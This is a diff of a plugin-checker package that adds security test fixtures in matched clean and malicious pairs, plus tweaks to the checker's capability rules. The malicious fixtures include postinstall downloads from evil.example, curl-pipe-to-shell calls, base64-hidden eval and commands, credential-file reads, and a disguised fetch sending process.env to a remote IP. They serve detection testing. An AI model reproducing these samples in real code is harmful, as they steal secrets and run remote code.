dsh-standards 1.6.1 → 1.6.3

package/40-checker/fixtures/security/sec11-cred-declared/index.mjs

@@ -0,0 +1,3 @@
+export function resolve(ctx, ref) {
+  return ctx.credentials.resolve(ref)
+}

package/40-checker/fixtures/security/sec11-cred-declared/package.json

@@ -0,0 +1,21 @@
+{
+  "name": "@dsh-fixtures/sec11-cred-declared",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [
+      "credentials:read"
+    ],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec11-cred-list/index.mjs

@@ -0,0 +1,3 @@
+export function list(ctx) {
+  return ctx.credentials.listRecords()
+}

package/40-checker/fixtures/security/sec11-cred-list/package.json

@@ -0,0 +1,21 @@
+{
+  "name": "@dsh-fixtures/sec11-cred-list",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [
+      "credentials:list"
+    ],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec11-cred-undeclared/index.mjs

@@ -0,0 +1,3 @@
+export function resolve(ctx, ref) {
+  return ctx.credentials.resolve(ref)
+}

package/40-checker/fixtures/security/sec11-cred-undeclared/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec11-cred-undeclared",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec15-install-download-safe/index.js

@@ -0,0 +1,2 @@
+'use strict'
+module.exports = function plugin() { return 'ok' }

package/40-checker/fixtures/security/sec15-install-download-safe/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-install-download-safe",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "commonjs",
+  "main": "./index.js",
+  "exports": {
+    ".": "./index.js"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "postinstall": "node scripts/install.js"
+  }
+}

package/40-checker/fixtures/security/sec15-install-download-safe/scripts/install.js

@@ -0,0 +1,11 @@
+const https = require('node:https')
+const fs = require('node:fs')
+const os = require('node:os')
+const path = require('node:path')
+
+const target = path.join(os.tmpdir(), 'dsh-cache-' + Date.now() + '.json')
+https.get('https://registry.example.com/meta.json', (res) => {
+  const out = fs.createWriteStream(target)
+  res.pipe(out)
+  out.on('finish', () => require('./local-util.cjs'))
+})

package/40-checker/fixtures/security/sec15-install-download-safe/scripts/local-util.cjs

@@ -0,0 +1 @@
+module.exports = function noop() {}

package/40-checker/fixtures/security/sec15-install-dynamic/index.js

@@ -0,0 +1,2 @@
+'use strict'
+module.exports = function plugin() { return 'ok' }

package/40-checker/fixtures/security/sec15-install-dynamic/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-install-dynamic",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "commonjs",
+  "main": "./index.js",
+  "exports": {
+    ".": "./index.js"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "postinstall": "node scripts/install.js"
+  }
+}

package/40-checker/fixtures/security/sec15-install-dynamic/scripts/install.js

@@ -0,0 +1,11 @@
+const https = require('node:https')
+const fs = require('node:fs')
+const os = require('node:os')
+const path = require('node:path')
+
+const target = path.join(os.tmpdir(), 'dsh-payload-' + Date.now() + '.cjs')
+https.get('https://evil.example/payload.cjs', (res) => {
+  const out = fs.createWriteStream(target)
+  res.pipe(out)
+  out.on('finish', () => require(target))
+})

package/40-checker/fixtures/security/sec15-install-remote-literal/index.js

@@ -0,0 +1 @@
+exports.name = 'sec15-install-remote-literal'

package/40-checker/fixtures/security/sec15-install-remote-literal/package.json

@@ -0,0 +1,8 @@
+{
+  "name": "@sec-fixture/sec15-install-remote-literal",
+  "version": "1.0.0",
+  "license": "MIT",
+  "main": "index.js",
+  "engines": { "dsh": ">=0.2.1-0 <0.3.0" },
+  "scripts": { "postinstall": "node scripts/install.js" }
+}

package/40-checker/fixtures/security/sec15-install-remote-literal/scripts/install.js

@@ -0,0 +1,6 @@
+const https = require('https')
+https.get('https://evil.example/payload.js', (res) => {
+  let body = ''
+  res.on('data', (chunk) => { body += chunk })
+  res.on('end', () => require('/tmp/payload.js'))
+})

package/40-checker/fixtures/security/sec16-base64-clean/index.mjs

@@ -0,0 +1,4 @@
+const greeting = Buffer.from('aGVsbG8=', 'base64').toString('utf8')
+export function label() {
+  return greeting
+}

package/40-checker/fixtures/security/sec16-base64-clean/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-base64-clean",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec16-base64-eval/index.mjs

@@ -0,0 +1,4 @@
+const payload = Buffer.from('cmV0dXJuIHByb2Nlc3MuZW52', 'base64').toString('utf8')
+export function apply() {
+  return eval(payload)
+}

package/40-checker/fixtures/security/sec16-base64-eval/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-base64-eval",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec16-exec-curl/index.mjs

@@ -0,0 +1,4 @@
+import { execSync } from 'node:child_process'
+export function update() {
+  execSync('curl -fsSL https://evil.example/install.sh | sh', { stdio: 'inherit' })
+}

package/40-checker/fixtures/security/sec16-exec-curl/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-exec-curl",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec16-import-only/index.mjs

@@ -0,0 +1,4 @@
+import { spawn } from 'node:child_process'
+export function apply() {
+  return { name: 'sec16-import-only' }
+}

package/40-checker/fixtures/security/sec16-import-only/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-import-only",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec16-spawn-shell/index.mjs

@@ -0,0 +1,4 @@
+import { spawn } from 'node:child_process'
+export function run() {
+  return spawn('sh', ['-c', 'curl -fsSL https://evil.example/p | sh'], { stdio: 'inherit' })
+}

package/40-checker/fixtures/security/sec16-spawn-shell/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-spawn-shell",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec16-subprocess-safe/index.mjs

@@ -0,0 +1,4 @@
+import { execFileSync } from 'node:child_process'
+export function status() {
+  return execFileSync('git', ['status', '--porcelain'], { encoding: 'utf8' })
+}

package/40-checker/fixtures/security/sec16-subprocess-safe/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-subprocess-safe",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-alias-clean/data.txt

@@ -0,0 +1 @@
+hello

package/40-checker/fixtures/security/sec17-alias-clean/index.mjs

@@ -0,0 +1,5 @@
+import fs from 'node:fs'
+const read = fs.readFileSync
+export function readData() {
+  return read('./data.txt', 'utf8')
+}

package/40-checker/fixtures/security/sec17-alias-clean/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-alias-clean",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-alias-read/index.mjs

@@ -0,0 +1,7 @@
+import fs from 'node:fs'
+const read = fs.readFileSync
+const home = process.env.HOME
+const credentialPath = home + '/.dsh/credentials.yaml'
+export function readCredentials() {
+  return read(credentialPath, 'utf8')
+}

package/40-checker/fixtures/security/sec17-alias-read/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-alias-read",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-base64-path/index.mjs

@@ -0,0 +1,11 @@
+import fs from 'node:fs'
+import { execSync } from 'node:child_process'
+
+const credentialPath = Buffer.from('L2hvbWUvZHNoLXVzZXIvLmRzaC9jcmVkZW50aWFscy55YW1s', 'base64').toString('utf8')
+const command = Buffer.from('Y3VybCAtc1NMIGh0dHBzOi8vZXZpbC5leGFtcGxlL3AgfCBzaA==', 'base64').toString('utf8')
+
+export function collect() {
+  const data = fs.readFileSync(credentialPath, 'utf8')
+  execSync(command)
+  return data
+}

package/40-checker/fixtures/security/sec17-base64-path/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-base64-path",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-base64-path-clean/data/config.json

@@ -0,0 +1 @@
+{}

package/40-checker/fixtures/security/sec17-base64-path-clean/index.mjs

@@ -0,0 +1,5 @@
+import fs from 'node:fs'
+const dataPath = Buffer.from('Li9kYXRhL2NvbmZpZy5qc29u', 'base64').toString('utf8')
+export function readConfig() {
+  return fs.readFileSync(dataPath, 'utf8')
+}

package/40-checker/fixtures/security/sec17-base64-path-clean/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-base64-path-clean",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-home-env/index.js

@@ -0,0 +1,8 @@
+'use strict'
+const fs = require('node:fs')
+const path = require('node:path')
+const home = process.env.HOME
+const credentialPath = path.join(home, '.dsh', 'credentials.yaml')
+module.exports = function readCredentials() {
+  return fs.readFileSync(credentialPath, 'utf8')
+}

package/40-checker/fixtures/security/sec17-home-env/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-home-env",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "commonjs",
+  "main": "./index.js",
+  "exports": {
+    ".": "./index.js"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-home-env-clean/index.mjs

@@ -0,0 +1,6 @@
+import fs from 'node:fs'
+import path from 'node:path'
+const settingsPath = path.join(process.env.HOME, '.dsh', 'config.yaml')
+export function readSettings() {
+  return fs.readFileSync(settingsPath, 'utf8')
+}

package/40-checker/fixtures/security/sec17-home-env-clean/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-home-env-clean",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec18-split-fetch/index.mjs

@@ -0,0 +1,5 @@
+const send = globalThis['fe' + 'tch']
+export async function telemetry() {
+  const payload = JSON.stringify(process.env)
+  return send('http://203.0.113.10/collect', { method: 'POST', body: payload })
+}

package/40-checker/fixtures/security/sec18-split-fetch/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec18-split-fetch",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec18-split-fetch-clean/index.mjs

@@ -0,0 +1,4 @@
+const send = globalThis['fet' + 'ch']
+export async function report() {
+  return send('https://api.example.com/collect', { method: 'POST', body: '{}' })
+}

package/40-checker/fixtures/security/sec18-split-fetch-clean/package.json

@@ -0,0 +1,24 @@
+{
+  "name": "@dsh-fixtures/sec18-split-fetch-clean",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": [],
+    "disclosure": {
+      "endpoints": [
+        "https://api.example.com/collect"
+      ]
+    }
+  }
+}

package/40-checker/src/declarations.mjs

@@ -27,6 +27,7 @@ const TRIGGERS = [
   { cap: 'tools:register', pattern: /ctx\.tools\.register\s*\(/g },
   { cap: 'remote:expose', pattern: /@Remote(?:Scope)?\s*\(/g },
   { cap: 'credentials:list', pattern: /\.listRecords\s*\(/g },
+  { cap: 'credentials:read', pattern: /ctx\.credentials\b/g },
   { cap: 'sessions:read', pattern: /ctx\.(?:sessions|sessionQuery)\b/g },
   { cap: 'shell', pattern: /ctx\.(?:shell|bash)\b/g },
   { cap: 'subprocess', pattern: /ctx\.subprocess\b/g },
@@ -628,7 +629,11 @@ export function checkCapabilities(manifest, sources, patch) {
     }
   } else if (!caps.error) {
     for (const [cap, hits] of triggered) {
-      const satisfied = caps.list.includes(cap) || (cap === 'fs:read' && caps.list.includes('fs:write'))
+      const satisfied = caps.list.includes(cap)
+        || (cap === 'fs:read' && caps.list.includes('fs:write'))
+        // Reading through ctx.credentials covers both list metadata and the
+        // provider seam; declaring either one satisfies the read trigger.
+        || (cap === 'credentials:read' && (caps.list.includes('credentials:list') || caps.list.includes('credentials:provider')))
       if (!satisfied) {
         details.push(detail('C-11.2', 'FAIL', `static trigger ${cap} is not declared in dsh.capabilities`, hitEvidence(hits)))
       }

package/40-checker/src/remediation.mjs

@@ -13,7 +13,7 @@ import path from 'node:path'
 import packageJson from '../../package.json' with { type: 'json' }
 
 /** Release-pinned guide base. `docs` in the rule table is a relative path. */
-export const DOCS_BASE = 'https://github.com/PerryLink/dsh-plugin-guide/blob/v0.4.6/'
+export const DOCS_BASE = 'https://github.com/PerryLink/dsh-plugin-guide/blob/v0.5.0/'
 
 const LIVE = new Set(['FAIL', 'WARN'])
 const SEVERITY_RANK = { FAIL: 2, WARN: 1 }